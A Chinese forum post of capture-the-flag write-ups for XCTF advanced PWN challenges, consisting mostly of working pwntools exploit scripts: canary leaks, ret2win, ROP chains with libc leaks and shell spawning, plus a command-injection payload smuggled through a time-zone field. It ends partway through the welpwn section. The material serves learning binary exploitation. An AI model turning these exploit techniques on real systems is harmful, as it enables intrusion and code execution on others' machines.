首页
论坛
课程
招聘
攻防世界-PWN-高手进阶区-难度3到4-全部题解
2021-6-12 02:00 11883

攻防世界-PWN-高手进阶区-难度3到4-全部题解

2021-6-12 02:00
11883

目的

通过攻防世界的一些入门难度的题目来学习最基本的漏洞利用技巧,以及提高代码审计的能力。传送门:https://adworld.xctf.org.cn/task/task_list?type=pwn&number=2&grade=1

脑图

总结可能用到的知识点:

脚本模板

放上我常用的做题模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys
from pwn import *
from LibcSearcher import LibcSearcher
 
rv = lambda                      : io.recv()
rl = lambda a=False              : io.recvline(a)
ru = lambda a,b=True             : io.recvuntil(a,b)
rn = lambda x                    : io.recvn(x)
se = lambda x                    : io.send(x)
sl = lambda x                    : io.sendline(x)
sa = lambda a,b                  : io.sendafter(a,b)
sla = lambda a,b                 : io.sendlineafter(a,b)
sconnect = lambda                : io.interactive()
 
context.log_level = "DEBUG"
pwn_file = './pwn7'
elf = ELF(pwn_file)
 
if len(sys.argv) < 2:
    IS_LOCAL = 1
    io = process(pwn_file)
else:
    IS_LOCAL = 0
    sys_argv = sys.argv[1].split(':')
    io = remote(sys_argv[0], int(sys_argv[1]))
#---------------------------------------------------------
payload = '1'+'\x00'*6+'\xFF\x00'
 
'''
if IS_LOCAL:
    gdb.attach(io,"break *0x8048824\nc")
    pause()
'''
se(payload)
puts_addr = u32(io.recv()[:4])
 
if IS_LOCAL:
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    libc_base = printf_addr - libc.sym['printf']
    system_addr = libc_base + libc.sym['system']
else:
    libc = ELF('libc6-i386_2.23-0ubuntu11.2_amd64.so')
    libc_base = printf_addr - libc.sym['printf']
    system_addr = libc_base + libc.sym['system']
#or choose to use LibcSearcher
'''
    libc=LibcSearcher('puts',puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
'''
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
 
payload = 'A'*235+p32(system_addr)+p32(0xdeadbeef)+p32(str_bin_sh)
se(payload)
sconnect()

需要打服务器的时候直接加个参数就可以:

1
python exp.py  111.200.241.244:56070

TASKS

pwn-200

《CTF竞赛指南》上有详解。

pwn-100

《CTF竞赛指南》上有详解。

time_formatter

这个题目涉及的漏洞是悬空指针(dangling pointer)和UAF:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 sub_400F8F()
{
  __int64 result; // rax
  char s[16]; // [rsp+8h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  free_400C7E(FORMAT_BUF_HEAP);                 // double free
  free_400C7E(time_zone_heap);
  __printf_chk(1LL, "Are you sure you want to exit (y/N)? ");
  fflush(stdout);
  fgets(s, 16, stdin);
  result = 0LL;
  if ( (s[0] & 0xDF) == 'Y' )
  {
    puts("OK, exiting.");
    result = 1LL;
  }
  return result;
}

可以看到,指针在用户确定退出之前就已经free了,free之后也没有及时指向NULL。这导致我们可以重新申请format_buf指向的堆内存,然后给予其新的值。再来看看show部分的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 sub_400EA3()
{
  char command[2048]; // [rsp+8h] [rbp-810h] BYREF
  unsigned __int64 v2; // [rsp+808h] [rbp-10h]
 
  v2 = __readfsqword(0x28u);
  if ( FORMAT_BUF_HEAP )
  {
    __snprintf_chk(command, 2048LL, 1LL, 2048LL, "/bin/date -d @%d +'%s'", TIME, FORMAT_BUF_HEAP);
    __printf_chk(1LL, "Your formatted time is: ");
    fflush(stdout);
    if ( getenv("DEBUG") )
      __fprintf_chk(stderr, 1LL, "Running command: %s\n", command);
    setenv("TZ", time_zone_heap, 1);
    system(command);
  }
  else
  {
    puts("You haven't specified a format!");
  }
  return 0LL;
}

可以看到如果设置了环境变量会有不少提示信息,我们这里设置一个临时变量:

1
export DEBUG=1

然后看到程序中有system函数,而且部分参数是我们提供的输入;我们应该想到这里可以用'闭合命令,然后用管道执行一个新的命令。程序的本意是想执行这样的一条命令:

1
2
date -d @1568880277 +"%Y-%m-%d %H:%M:%S"
2019-09-19 16:04:37

我们想要执行这样一个命令:

1
/bin/date -d @0 +'%y' | cat 'flag'

根据以上思路,利用悬空指针漏洞绕过检查找出flag的值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
dc@ubuntu:~/playground$ ./time_formatter
Welcome to Mary's Unix Time Formatter!
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 1
Format: b
strdup(0x7fffffffd948) = 0x603420
Format set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 5
free(0x603420)
free((nil))
Are you sure you want to exit (y/N)? n
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 3
Time zone: %y' | cat 'flag     
strdup(0x7fffffffd948) = 0x603420     # assert timeformat_buf == timezone
Time zone set.
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> 4
Your formatted time is: Running command: /bin/date -d @0 +'%y' | cat 'flag'
flag{ABCD}
1) Set a time format.
2) Set a time.
3) Set a time zone.
4) Print your time.
5) Exit.
> ^C

Mary_Morton

拿到程序先看下信息:

1
2
3
4
5
6
7
8
9
dc@ubuntu:~/playground$ file 22e2d7579d2d4359a5a1735edddef631
22e2d7579d2d4359a5a1735edddef631: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=b7971b84c2309bdb896e6e39073303fc13668a38, stripped
dc@ubuntu:~/playground$ pwn checksec 22e2d7579d2d4359a5a1735edddef631
[*] '/home/dc/playground/22e2d7579d2d4359a5a1735edddef631'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

我们需要绕过金丝雀,再看程序关键流程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch] BYREF
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]
 
  v4 = __readfsqword(0x28u);
  sub_4009FF();
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      sub_4009DA();
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;
      sub_4008EB();
    }
    if ( v3 == 3 )
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      sub_400960();
    else
      puts("Wrong!");
  }
}
unsigned int sub_4009FF()
{
  setvbuf(stdin, 0LL, 1, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  return alarm(0x14u);
}
int sub_4009DA()
{
  puts("1. Stack Bufferoverflow Bug ");
  puts("2. Format String Bug ");
  return puts("3. Exit the battle ");
}

非常友好的题目(骗新人入坑
两个有漏洞的函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
unsigned __int64 sub_4008EB()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x7FuLL);
  printf(buf);
  return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 sub_400960()
{
  char buf[136]; // [rsp+0h] [rbp-90h] BYREF
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]
 
  v2 = __readfsqword(0x28u);
  memset(buf, 0, 0x80uLL);
  read(0, buf, 0x100uLL);
  printf("-> %s\n", buf);
  return __readfsqword(0x28u) ^ v2;
}

第一个函数的printf函数的格式化字符串由用户控制,第二个函数可从一开始的定义看出buf的缓冲区最多只有0x90的大小,而程序却可以接受0x100大小的输入,这将导致栈溢出。
最终,随便点击函数列表中的函数,发现了win函数:

1
2
3
4
int sub_4008DA()
{
  return system("/bin/cat ./flag");
}

到此,漏洞利用的一个思路基本可表示为一下三步:

  1. 利用字符串格式化漏洞获得程序的canary
  2. 进入第二个函数,测算到canary的距离,将获得的canary部署在栈上
  3. 控制返回地址为cat flag函数的地址

由以上几步做exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
 
context.log_level = "DEBUG"
io = process('./22e2d7579d2d4359a5a1735edddef631')
io.recv()
io.send('2\n')
io.send('%23$p\n')
canary = int(io.recvline(),16)
log.info('canary == 0x%x' % canary)
io.recv()
io.send('1\n')
io.send('A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(0x4008DA))
io.recv()

运行下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
dc@ubuntu:~/playground$ echo 'my_flag{123}' > flag
dc@ubuntu:~/playground$ python payload_22e2.py
[+] Starting local process './22e2d7579d2d4359a5a1735edddef631' argv=['./22e2d7579d2d4359a5a1735edddef631'] : pid 85064
[DEBUG] Received 0x8f bytes:
    'Welcome to the battle ! \n'
    '[Great Fairy] level pwned \n'
    'Select your weapon \n'
    '1. Stack Bufferoverflow Bug \n'
    '2. Format String Bug \n'
    '3. Exit the battle \n'
[DEBUG] Sent 0x2 bytes:
    '2\n'
[DEBUG] Sent 0x6 bytes:
    '%23$p\n'
[DEBUG] Received 0x5a bytes:
    '0x433c813a1d175800\n'
    '1. Stack Bufferoverflow Bug \n'
    '2. Format String Bug \n'
    '3. Exit the battle \n'
[*] canary == 0x433c813a1d175800
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Sent 0xa0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  00 58 17 1d  3a 81 3c 43  │AAAA│AAAA│·X··│:·<C│
    00000090  ef be ad de  00 00 00 00  da 08 40 00  00 00 00 00  │····│····│··@·│····│
    000000a0
[DEBUG] Received 0x99 bytes:
    '-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n'
    'my_flag{123}\n'

dice_game

简单题:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './dice_game'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','55568')
#---------------------------------------------------------
payload = 'A'*0x40+p64(0)
nums = [2,5,4,2,6,2,5,1,4,2,3,2,3,2,6,5,1,1,5,5,6,3,4,4,3,3,3,2,2,2,6,1,1,1,6,4,2,5,2,5,4,4,4,6,3,2,3,3,6,1]
 
sa("Welcome, let me know your name: ",payload)
 
for index in range(50):
    sa("Give me the point(1~6): ",str(nums[index])+'\n')
 
rv()
print(rv())

forgot

这题有点意思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
int __cdecl main()
{
  size_t v0; // ebx
  char input[32]; // [esp+10h] [ebp-74h] BYREF
  _DWORD v3[10]; // [esp+30h] [ebp-54h]
  char name[32]; // [esp+58h] [ebp-2Ch] BYREF
  int choice; // [esp+78h] [ebp-Ch]
  size_t index; // [esp+7Ch] [ebp-8h]
 
  choice = 1;
  v3[0] = sub_8048604;
  v3[1] = sub_8048618;
  v3[2] = sub_804862C;
  v3[3] = sub_8048640;
  v3[4] = sub_8048654;
  v3[5] = sub_8048668;
  v3[6] = sub_804867C;
  v3[7] = sub_8048690;
  v3[8] = sub_80486A4;
  v3[9] = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(name, 32, stdin);
  sub_80485DD(name);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", input);                  // may stack overflow
  for ( index = 0; ; ++index )
  {
    v0 = index;
    if ( v0 >= strlen(input) )
      break;
    switch ( choice )
    {
      case 1:
        if ( sub_8048702(input[index]) )
          choice = 2;
        break;
      case 2:
        if ( input[index] == '@' )
          choice = 3;
        break;
      case 3:
        if ( sub_804874C(input[index]) )
          choice = 4;
        break;
      case 4:
        if ( input[index] == '.' )
          choice = 5;
        break;
      case 5:
        if ( sub_8048784(input[index]) )
          choice = 6;
        break;
      case 6:
        if ( sub_8048784(input[index]) )
          choice = 7;
        break;
      case 7:
        if ( sub_8048784(input[index]) )
          choice = 8;
        break;
      case 8:
        if ( sub_8048784(input[index]) )
          choice = 9;
        break;
      case 9:
        choice = 10;
        break;
      default:
        continue;
    }
  }
  (v3[--choice])();
  return fflush(stdout);
}

有几个函数点击去看看,大概能猜到题目说的email是迷惑信息:

1
2
3
4
int sub_8048604()
{
  return puts("Dude, you seriously think this is going to work. Where are the fancy @ and [dot], huh?");
}

所以查看下汇编:

1
2
3
4
5
6
7
8
9
10
.text:08048A40                 mov     ebx, [esp+7Ch]
.text:08048A44                 lea     eax, [esp+84h+input]
.text:08048A48                 mov     [esp], eax      ; s
.text:08048A4B                 call    _strlen
.text:08048A50                 cmp     ebx, eax
.text:08048A52                 jb      loc_80488CF
.text:08048A58                 sub     dword ptr [esp+78h], 1
.text:08048A5D                 mov     eax, [esp+78h]
.text:08048A61                 mov     eax, [esp+eax*4+30h]
.text:08048A65                 call    eax

接受完数据后,程序直接跳到栈上某地址,调试中确定位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
─────────────────────────────────────────────────────────────── code:x86:32 ────
    0x8048a52                  jb     0x80488cf
    0x8048a58                  sub    DWORD PTR [esp+0x78], 0x1
    0x8048a5d                  mov    eax, DWORD PTR [esp+0x78]
 →  0x8048a61                  mov    eax, DWORD PTR [esp+eax*4+0x30]
    0x8048a65                  call   eax
    0x8048a67                  mov    eax, ds:0x804b060
    0x8048a6c                  mov    DWORD PTR [esp], eax
    0x8048a6f                  call   0x8048450 <fflush@plt>
    0x8048a74                  mov    ebx, DWORD PTR [ebp-0x4]
─────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "forgot", stopped 0x8048a61 in ?? (), reason: BREAKPOINT
───────────────────────────────────────────────────────────────────── trace ────
[#0] 0x8048a61 → mov eax, DWORD PTR [esp+eax*4+0x30]
[#1] 0xf7d57647 → __libc_start_main()
[#2] 0x8048501 → hlt
────────────────────────────────────────────────────────────────────────────────
gef➤  dereference $esp 40
0xff885aa0+0x0000: 0xff885ab0  →  0x41414141     ← $esp
0xff885aa4+0x0004: 0xff885ab0  →  0x41414141
0xff885aa8+0x0008: 0xf7ef25a0  →  0xfbad2088
0xff885aac+0x000c: 0x00000000
0xff885ab0+0x0010: 0x41414141
0xff885ab4+0x0014: 0x41414141
0xff885ab8+0x0018: 0x41414141
0xff885abc+0x001c: 0x41414141
0xff885ac0+0x0020: 0x41414141
0xff885ac4+0x0024: 0x41414141
0xff885ac8+0x0028: 0x41414141
0xff885acc+0x002c: 0x41414141
0xff885ad0+0x0030: 0x080486cc  →   push ebp

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 1
context.log_level = "DEBUG"
pwn_file = './forgot'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','57736')
#---------------------------------------------------------
payload = 'A'*8*4 + p32(0x80486CC)
 
if IS_LOCAL:
    gdb.attach(io,"break *0x8048A61\nc")
    pause()
 
sa("> ",'noname\n')
sa("> ",payload+'\n')
rv()
rv()
rv()

warmup

exp:

1
2
3
4
5
6
7
8
from pwn import *
 
context.log_level = "DEBUG"
#io = process('./warmup_csaw_2016')
io = remote('node3.buuoj.cn','26740')
io.recv()
io.sendline('A'*0x48+p64(0x40060d))
io.recv()

stack2

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  unsigned int len; // [esp+18h] [ebp-90h]
  unsigned int choice; // [esp+1Ch] [ebp-8Ch]
  int num; // [esp+20h] [ebp-88h]
  unsigned int index_j; // [esp+24h] [ebp-84h]
  int sum; // [esp+28h] [ebp-80h]
  unsigned int index; // [esp+2Ch] [ebp-7Ch]
  unsigned int index_k; // [esp+30h] [ebp-78h]
  unsigned int index_i; // [esp+34h] [ebp-74h]
  char nums[100]; // [esp+38h] [ebp-70h]
  unsigned int v14; // [esp+9Ch] [ebp-Ch]
 
  v14 = __readgsdword(0x14u);
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  sum = 0;
  puts("***********************************************************");
  puts("*                      An easy calc                       *");
  puts("*Give me your numbers and I will return to you an average *");
  puts("*(0 <= x < 256)                                           *");
  puts("***********************************************************");
  puts("How many numbers you have:");
  __isoc99_scanf("%d", &len);
  puts("Give me your numbers");
  for ( index = 0; index < len && index <= 99; ++index )
  {
    __isoc99_scanf("%d", &num);
    nums[index] = num;
  }
  for ( index_j = len; ; printf("average is %.2lf\n", (sum / index_j)) )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        while ( 1 )
        {
          puts("1. show numbers\n2. add number\n3. change number\n4. get average\n5. exit");
          __isoc99_scanf("%d", &choice);
          if ( choice != 2 )
            break;
          puts("Give me your number");
          __isoc99_scanf("%d", &num);
          if ( index_j <= 99 )
          {
            v3 = index_j++;
            nums[v3] = num;
          }
        }
        if ( choice > 2 )
          break;
        if ( choice != 1 )
          return 0;
        puts("id\t\tnumber");
        for ( index_k = 0; index_k < index_j; ++index_k )
          printf("%d\t\t%d\n", index_k, nums[index_k]);
      }
      if ( choice != 3 )
        break;
      puts("which number to change:");
      __isoc99_scanf("%d", &len);
      puts("new number:");
      __isoc99_scanf("%d", &num);
      nums[len] = num;                \\ dangrous
    }
    if ( choice != 4 )
      break;
    sum = 0;
    for ( index_i = 0; index_i < index_j; ++index_i )
      sum += nums[index_i];
  }
  return 0;
}

可以发现我注释的代码,利用这段代码可以向着栈内写一个字节的数据,所以这是一个简单的ret2win咯,只要将返回地址byte by byte改成win函数即可:

1
2
3
4
int hackhere()
{
  return system("/bin/bash");
}

然而实际打过去服务器发现:

1
2
3
[DEBUG] Received 0x1c bytes:
    'sh: 1: /bin/bash: not found\n'
sh: 1: /bin/bash: not found

看上去调用bash失败了,这咋办呢。看了师傅们的wp我发现原来可以直接以这种形式返回shell:

1
system('sh');

最终exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './stack2'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','63716')
#---------------------------------------------------------
sa("How many numbers you have:",'1\n')
rv()
sl('1')
win_addr = 0x804859B
winaddrs = [0x9B,0x85,0x04,0x08]
bin_str_addr = 0x08048987
str_addrs = [0x87,0x89,0x04,0x08]
system_plt = 0x08048450
system_plt_addrs = [0x50,0x84,0x04,0x08]
 
if IS_LOCAL:
    gdb.attach(io,"break *0x80488EE\nc")
    pause()
 
    #set ret addr
    for index in range(4):
        sa('5. exit\n','3\n')
        sa('which number to change:\n',str(0x84+index)+'\n')
        sa('new number:\n',str(winaddrs[index])+'\n')
else:
    #set ret addr
    for index in range(4):
        sa('5. exit\n','3\n')
        sa('which number to change:\n',str(0x84+index)+'\n')
        sa('new number:\n',str(system_plt_addrs[index])+'\n')
    #set pointer to 'sh'
    for index in range(4):
        sa('5. exit\n','3\n')
        sa('which number to change:\n',str(0x84+8+index)+'\n')
        sa('new number:\n',str(str_addrs[index])+'\n')
 
rv()
sl('5')
sconnect()

monkey

发现是js命令,通过help()查看帮助,发现可以用os.system调用命令:

1
2
3
4
dc@ubuntu:~/playground/monkey$ socat - TCP:111.200.241.244:53325
js> os.system('cat flag')
os.system('cat flag')
cyberpeace{6af2fc8d7f14004c0415141a4e9a2284}

pwn1

最基础的x64栈溢出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *
from LibcSearcher import LibcSearcher
 
se=lambda x:io.send(x)
sl=lambda x:io.sendline(x)
sa=lambda x,y:io.sendafter(x,y)
rv=lambda :io.recv()
sconnect=lambda :io.interactive()
 
IS_LOCAL = 0
context.log_level = "DEBUG"
pwn_file = './babystack'
elf = ELF(pwn_file)
 
if IS_LOCAL:
    io = process(pwn_file)
else:
    io = remote('111.200.241.244','57616')
#---------------------------------------------------------
#0x0000000000400a93 : pop rdi ; ret
pop_rdi_ret = 0x0000000000400a93
main_addr = 0x400908
payload1 = 'A'*0x88+'C'
 
'''
if IS_LOCAL:
    gdb.attach(io,"break *0x8048824\nc")
    pause()
'''
sa('>> ','1\n')
se(payload1)
sa('>> ','2\n')
io.recvuntil('C')
tmp = io.recv(7)
canary = u64('\x00' + tmp)
log.info("canary: 0x%x"%canary)
sa('>> ','1\n')
payload2 = 'A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)
se(payload2)
sa('>> ','3\n')
puts_addr = u64(io.recvuntil('\n')[:-1].ljust(8,'\x00'))
 
if IS_LOCAL:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    str_bin_sh = libc_base + next(libc.search('/bin/sh'))
else:
    libc=LibcSearcher('puts',puts_addr)
    libc_base = puts_addr - libc.dump('puts')
    system_addr = libc_base + libc.dump('system')
    str_bin_sh = libc_base + libc.dump('str_bin_sh')
'''
    libc = ELF('./libc-2.23.so')
    libc_base = puts_addr - libc.sym['puts']
    system_addr = libc_base + libc.sym['system']
    str_bin_sh = libc_base + next(libc.search('/bin/sh'))
'''
 
log.info('puts_addr: 0x%x'%puts_addr)
log.info('system_addr: 0x%x'%system_addr)
log.info('str_bin_sh: 0x%x'%str_bin_sh)
 
sa('>> ','1\n')
payload3 = 'A'*0x88+p64(canary)+p64(0xdeadbeef)+p64(pop_rdi_ret)+p64(str_bin_sh)+p64(system_addr)
se(payload3)
sa('>> ','3\n')
sconnect()

最坑的是给出./libc-2.23.so找偏移打过去发现不对:

1
2
3
4
5
6
7
8
9
10
11
12
[*] Switching to interactive mode
[DEBUG] Received 0x7 bytes:
    'sh: 1: '
sh: 1: [DEBUG] Received 0x39 bytes:
    'd: not found\n'
    '--------\n'
    '1.store\n'
    '2.print\n'
    '3.quit\n'
    '--------\n'
    '>> '
d: not found

后来还是用LibcSearch搞定:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
[DEBUG] Received 0x2d bytes:
    '\n'
    '--------\n'
    '1.store\n'
    '2.print\n'
    '3.quit\n'
    '--------\n'
    '>> '
Multi Results:
 0: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2_i386)
 1: archive-old-glibc (id libc6-amd64_2.24-3ubuntu1_i386)
 2: archive-old-glibc (id libc6-amd64_2.24-9ubuntu2.2_i386)
 3: archive-old-glibc (id libc6-amd64_2.24-3ubuntu2.2_i386)
 4: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
Please supply more info using
    add_condition(leaked_func, leaked_address).
You can choose it by hand
Or type 'exit' to quit:4
[+] ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) be choosed.
[*] puts_addr: 0x7fcdf3827690
[*] system_addr: 0x7fcdf37fd390
[*] str_bin_sh: 0x7fcdf3944d57
[DEBUG] Sent 0x2 bytes:
    '1\n'
[DEBUG] Sent 0xb0 bytes:
    00000000  41 41 41 41  41 41 41 41  41 41 41 41  41 41 41 41  │AAAA│AAAA│AAAA│AAAA│
    *
    00000080  41 41 41 41  41 41 41 41  00 c3 55 2b  79 4c 71 94  │AAAA│AAAA│··U+│yLq·│
    00000090  ef be ad de  00 00 00 00  93 0a 40 00  00 00 00 00  │····│····│··@·│····│
    000000a0  57 4d 94 f3  cd 7f 00 00  90 d3 7f f3  cd 7f 00 00  │WM··│····│····│····│
    000000b0
[DEBUG] Received 0x1 bytes:
    '\n'
[DEBUG] Received 0x2c bytes:
    '--------\n'
    '1.store\n'
    '2.print\n'
    '3.quit\n'
    '--------\n'
    '>> '
[DEBUG] Sent 0x2 bytes:
    '3\n'
[*] Switching to interactive mode
$ cat flag
[DEBUG] Sent 0x9 bytes:
    'cat flag\n'
[DEBUG] Received 0x2d bytes:
    'cyberpeace{eeb2d8ed78aaaff3b53e9aaa357f3091}\n'
cyberpeace{eeb2d8ed78aaaff3b53e9aaa357f3091}
$

welpwn

嗯这题也有点意思:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[1024]; // [rsp+0h] [rbp-400h] BYREF
 
  write(1, "Welcome to RCTF\n", 0x10uLL);
  fflush(_bss_start);
  read(0, buf, 1024uLL);
  echo(buf);
  return 0;
}
int __fastcall echo(__int64 buf)
{
  char input[16]; // [rsp+10h] [rbp-10h] BYREF
 
  for ( index = 0; *(index + buf); ++index )
    input[index] = *(index + buf);              // may stack overflow
  input[index] = 0;
  if ( !strcmp("ROIS", input) )
  {
    printf("RCTF{Welcome}");
    puts(" is not flag");
  }
  return printf("%s", input);
}

可以看到被调用的函数将传入的参数直接拷贝在局部变量,由于传入的参数,被调用函数的变量都在栈上,所以栈的视图大概是:

1
2
3
4
|var data abc|
|rbp|
|ret|
|argument data abc|

如果用传统的rop:

1
payload = 'A'*0x18+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)

拷贝完栈中是这样:

1
2
3
4
5
6
7
8
0x00007fffffffd950+0x0010: 0x4141414141414141
0x00007fffffffd958+0x0018: 0x4141414141414141
0x00007fffffffd960+0x0020: 0x4141414141414141     ← $rbp
0x00007fffffffd968+0x0028: 0x00000000004008a3  →  <__libc_csu_init+99> pop rdi
0x00007fffffffd970+0x0030: 0x4141414141414141     ← $rsi, $rdi
0x00007fffffffd978+0x0038: 0x4141414141414141
0x00007fffffffd980+0x0040: 0x4141414141414141
0x00007fffffffd988+0x0048: 0x00000000004008a3  →  <__libc_csu_init+99> pop r

要覆盖栈,所以需要padding(414141),但正因为有padding,所以必须要有gadget帮助跳过padding:

1
payload = 'A'*0x18+p64(_3pop_ret)+p64(1)+p64(2)+p64(3)+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(elf.sym['puts'])+p64(main_addr)

这样拷贝后就可以正常利用了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
0x00007fffffffd940+0x0000: 0x00000001f7dd7450     ← $rsp
0x00007fffffffd948+0x0008: 0x00007fffffffd970  →  0x4141414141414141
0x00007fffffffd950+0x0010: 0x4141414141414141
0x00007fffffffd958+0x0018: 0x4141414141414141
0x00007fffffffd960+0x0020: 0x4141414141414141     ← $rbp
0x00007fffffffd968+0x0028: 0x000000000040089e  →  <__libc_csu_init+94> pop r13
0x00007fffffffd970+0x0030: 0x4141414141414141     ← $rsi, $rdi
